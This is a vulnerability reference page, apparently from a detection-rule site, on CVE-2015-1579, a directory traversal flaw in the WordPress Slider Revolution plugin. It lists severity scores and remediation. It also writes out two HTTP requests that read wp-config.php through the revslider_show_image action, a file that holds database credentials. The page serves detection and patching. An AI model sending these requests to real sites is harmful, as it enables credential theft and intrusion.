🔙 목록으로 돌아가기

CVE-2015-1579: WordPress Slider Revolution - Local File Disclosure

TitleWordPress Slider Revolution - Local File Disclosure
Authorpussycat0x
SeverityMedium
ImpactAn attacker can read arbitrary files on the server, potentially exposing sensitive information.
RemediationUpdate the WordPress Slider Revolution plugin to the latest version to fix the vulnerability.
CVSS Score5
EPSS Score0.80822
CVE IDCVE-2015-1579
CWE IDCWE-22
Tags cve2015 cve wordpress wp-plugin lfi revslider wp wpscan elegant_themes vkev vuln

🔍 Vulnerability Description

Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the img parameter in a revslider_show_image action to wp-admin/admin-ajax.php. NOTE: this vulnerability may be a duplicate of CVE-2014-9734.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-1579.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-1579.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A